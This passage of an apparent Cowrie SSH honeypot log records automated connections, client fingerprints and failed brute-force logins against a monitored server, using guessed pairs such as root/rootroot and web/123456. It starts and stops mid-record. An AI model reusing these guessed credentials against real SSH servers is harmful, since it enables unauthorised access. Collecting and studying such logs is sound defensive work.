b-\\xb9\\xfeks<u\\x92\\x05\\x9b\\xdf\\xe6\\xac\\x08\\xda4Ut\\x9dc\\xa2.X@\\x8dg\\xbc\\xabz\\x83\\xa8\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14>H\\raE\\nj8N\\x01\\x9e\\x04\\xcf\\x10~*\\xf7\\xd7_\\x89GS\\xc4\\xd4\\x91\\x04`\\xbb\\xeb\\xbbJ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:33.334178Z","src_ip":"123.27.168.40","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:33.931990Z","src_ip":"123.27.168.40","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10946,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea1fbf0012a2","protocol":"ssh","message":"New connection: 91.92.40.36:10946 (10.17.0.5:22) [session: ea1fbf0012a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:34.100217Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":21510,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e9f1ec8bc73","protocol":"ssh","message":"New connection: 45.153.34.195:21510 (10.17.0.5:22) [session: 0e9f1ec8bc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:34.403106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:34.408537Z","src_ip":"45.153.34.195","session":"0e9f1ec8bc73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:34.511585Z","src_ip":"45.153.34.195","session":"0e9f1ec8bc73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadm","password":"webadm","message":"login attempt [webadm/webadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:34.768125Z","src_ip":"45.153.34.195","session":"0e9f1ec8bc73","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:35.299868Z","src_ip":"91.92.40.36","session":"ea1fbf0012a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:35.303380Z","src_ip":"91.92.40.36","session":"ea1fbf0012a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:35.871896Z","src_ip":"45.153.34.195","session":"0e9f1ec8bc73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":21528,"dst_ip":"10.17.0.5","dst_port":22,"session":"08fe20a7bc43","protocol":"ssh","message":"New connection: 45.153.34.195:21528 (10.17.0.5:22) [session: 08fe20a7bc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:37.166515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:37.214470Z","src_ip":"45.153.34.195","session":"08fe20a7bc43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:37.283440Z","src_ip":"45.153.34.195","session":"08fe20a7bc43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"123456","message":"login attempt [web/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:37.648911Z","src_ip":"45.153.34.195","session":"08fe20a7bc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:38.735289Z","src_ip":"45.153.34.195","session":"08fe20a7bc43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":21554,"dst_ip":"10.17.0.5","dst_port":22,"session":"966ae50fcc36","protocol":"ssh","message":"New connection: 45.153.34.195:21554 (10.17.0.5:22) [session: 966ae50fcc36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:39.942648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:40.076406Z","src_ip":"45.153.34.195","session":"966ae50fcc36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:40.084658Z","src_ip":"45.153.34.195","session":"966ae50fcc36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"1234567890","message":"login attempt [fastuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:40.718356Z","src_ip":"45.153.34.195","session":"966ae50fcc36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:40.890983Z","src_ip":"91.92.40.36","session":"ea1fbf0012a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":34386,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d200935aaa3","protocol":"ssh","message":"New connection: 73.36.177.174:34386 (10.17.0.5:22) [session: 2d200935aaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:41.665397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:41.674139Z","src_ip":"73.36.177.174","session":"2d200935aaa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:41.718306Z","src_ip":"73.36.177.174","session":"2d200935aaa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:41.804521Z","src_ip":"45.153.34.195","session":"966ae50fcc36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"interser123","message":"login attempt [root/interser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:41.933937Z","src_ip":"73.36.177.174","session":"2d200935aaa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25560,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f701e5588fd","protocol":"ssh","message":"New connection: 45.153.34.195:25560 (10.17.0.5:22) [session: 1f701e5588fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:42.833075Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:42.986227Z","src_ip":"73.36.177.174","session":"2d200935aaa3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:43.021089Z","src_ip":"45.153.34.195","session":"1f701e5588fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:43.025238Z","src_ip":"45.153.34.195","session":"1f701e5588fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14514,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bc7b689ce2d","protocol":"ssh","message":"New connection: 91.92.40.36:14514 (10.17.0.5:22) [session: 0bc7b689ce2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:43.384269Z"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:43.560778Z","src_ip":"91.92.40.36","session":"ea1fbf0012a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:43.576381Z","src_ip":"45.153.34.195","session":"1f701e5588fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:44.742507Z","src_ip":"45.153.34.195","session":"1f701e5588fd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:44.810163Z","src_ip":"91.92.40.36","session":"0bc7b689ce2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:44.813603Z","src_ip":"91.92.40.36","session":"0bc7b689ce2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25568,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e9f99e5fa03","protocol":"ssh","message":"New connection: 45.153.34.195:25568 (10.17.0.5:22) [session: 3e9f99e5fa03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:45.774757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:45.779144Z","src_ip":"45.153.34.195","session":"3e9f99e5fa03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.